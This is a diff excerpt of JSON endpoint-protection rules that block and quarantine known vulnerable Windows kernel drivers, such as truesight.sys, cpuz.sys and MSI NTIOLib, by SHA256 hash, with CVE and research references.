+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a31ef481-0fda-561d-8839-3d6143dd4216",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.821708Z",
+  "creation_date": "2026-03-23T11:45:31.821710Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.821715Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dad6d1ef2fc1586320e76171fd16822be56b4eee1497e7c97e72ac4421065b27",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a32387ad-cc7e-5973-a3ce-0241204f2fe3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.812222Z",
+  "creation_date": "2026-03-23T11:45:31.812224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.812230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "593ecfd5831961c85af43db78d2b89de0e8766627838b958528a3d745f4d47b0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a329ac31-42ac-58c1-bf6a-9c8e1dffc5d7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.614736Z",
+  "creation_date": "2026-03-23T11:45:29.614738Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.614743Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "984a77e5424c6d099051441005f2938ae92b31b5ad8f6521c6b001932862add7",
+  "comment": "MICRO-STAR vulnerable drivers (aka NBIOLib_X64.sys, NTIOLib_X64.sys, NTIOLib.sys and NBIOLib.sys) [CVE-2021-44899] [http://blog.rewolf.pl/blog/?p=1630] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a32b6724-55fd-5bd1-bea6-041d24a8916d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.824563Z",
+  "creation_date": "2026-03-23T11:45:31.824565Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.824570Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7c1adf6d58c674a77eb875ccb7dc3290148a94609df0dedcb961c1f78ac5bbd0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a32b7f9a-fe93-550d-b41d-ed1b9be70f4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.832187Z",
+  "creation_date": "2026-03-23T11:45:30.832189Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.832194Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4ce04a15e86044d60813727ddf54465b4a6509d356048ba5c99bd5131c03dd45",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a3353a34-6600-5f6f-a92e-a5a123f3dbb6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829505Z",
+  "creation_date": "2026-03-23T11:45:31.829507Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd1ff111e962cd5ddb714bcf49348258ba83726e7c58779ac32ecfebc0377a65",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a342e108-037e-57a2-831b-989bf86ceffa",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.497984Z",
+  "creation_date": "2026-03-23T11:45:31.497987Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.497995Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "814edc8773210d0ee42edea1d31884a3595fd6a0c366fbe383e8b389658373b3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a34dcdbb-ff26-557a-917c-74411cd7e0eb",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.489306Z",
+  "creation_date": "2026-03-23T11:45:31.489309Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.489318Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b0b254882e39d7888ae195eca0be81ea95ca6f21e522d2afeaf6be0426324055",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a360d8ef-67ec-59cb-b31a-2125779be047",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.971506Z",
+  "creation_date": "2026-03-23T11:45:29.971508Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.971514Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ceb1bf90d8652dac481fba362e5c3a6548a116897e729733f2be27f4edc5fc1f",
+  "comment": "MalwareFox AntiMalware Vulnerable Driver (aka zam64.sys and zam32.sys) [CVE-2021-31727, CVE-2021-31728] [https://www.loldrivers.io/drivers/e5f12b82-8d07-474e-9587-8c7b3714d60c/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a36693c2-9e06-5e6d-b242-e5805e264d99",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.144090Z",
+  "creation_date": "2026-03-23T11:45:31.144092Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.144097Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "05c84614bb901b97087dd7d44c839e5dae95982eae8bd8b2e8f354aff8e4c551",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a367a6f5-fd09-5ec2-8f28-4d003d586ca1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829451Z",
+  "creation_date": "2026-03-23T11:45:31.829453Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829459Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fec113f2164c7c0570b4e465488812beb4000e97d19844b87e4540f9c3c3dc43",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a36817f6-436b-545a-af02-57748ebdfa9a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.819840Z",
+  "creation_date": "2026-03-23T11:45:31.819843Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.819851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "2224d56a26690856ecc3ee84eecd389a30e530863432d39303356a3e40557d9f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a36b6e88-d531-5679-b4cd-ddd7f351b827",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458051Z",
+  "creation_date": "2026-03-23T11:45:30.458054Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458063Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ca34f945117ec853a713183fa4e8cf85ea0c2c49ca26e73d869fee021f7b491d",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a373e9a8-f486-5ace-ae42-58e91460c06e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474359Z",
+  "creation_date": "2026-03-23T11:45:30.474362Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474371Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "330941d4b4c310814278afb3d07f7191470c7da06f694342797dc6a2eb37c5be",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a376fab5-1320-517a-b421-48fdf32344d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.142185Z",
+  "creation_date": "2026-03-23T11:45:31.142187Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.142192Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3be5749132be41e14fad0b9b0bbfbcaf2bcaff3aa1475ebb45195dce47c25506",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a378fa8e-d59e-5a75-adb4-e0579451cdb7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611411Z",
+  "creation_date": "2026-03-23T11:45:29.611412Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611418Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5e9099b95b2074fecc6efa6d59552651b1e082aaa3612889f417064d378a797f",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a37ae96a-2f21-5b90-b5d0-df43e2fb5765",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813721Z",
+  "creation_date": "2026-03-23T11:45:31.813723Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813729Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0de1e090b5ab2d423652760275bee65b5544a9261165dada553ef83f60f4a2f1",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a37b5bb8-c511-53ff-82ec-64aa282c4459",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.474895Z",
+  "creation_date": "2026-03-23T11:45:30.474898Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.474907Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81017af32ebdaf0bc0878a8057bc6b8bd3848eb21aca324cd56b27faa1df7377",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a385a5d2-3ed7-5e12-8dab-dae3c1b1acb2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829358Z",
+  "creation_date": "2026-03-23T11:45:30.829360Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829366Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "bd83141ba59a56b674157ef969c9217c62ca3199f498cf4ea32e4010cceae49d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a38b8307-e518-5612-90e2-11824c13fdcc",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456781Z",
+  "creation_date": "2026-03-23T11:45:30.456784Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456794Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2e1a3dd0dfb3477a3e855368b23d12b8818df8fa3bc3508abf069a0873d6bf8",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a390c2d9-5b85-58da-bbe5-f3319e88fd5b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.818559Z",
+  "creation_date": "2026-03-23T11:45:30.818561Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.818567Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "748ccadb6bf6cdf4c5a5a1bb9950ee167d8b27c5817da71d38e2bc922ffce73d",
+  "comment": "Vulnerable Kernel Driver (aka kerneld.amd64) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "a392be01-da71-5d6d-b087-f3fadea0aa13",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.484933Z",
+  "creation_date": "2026-03-23T11:45:31.484937Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.484956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1416327acf720388fef7728b808a47db061d0bc98798aa3250ab8d724e2e493d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
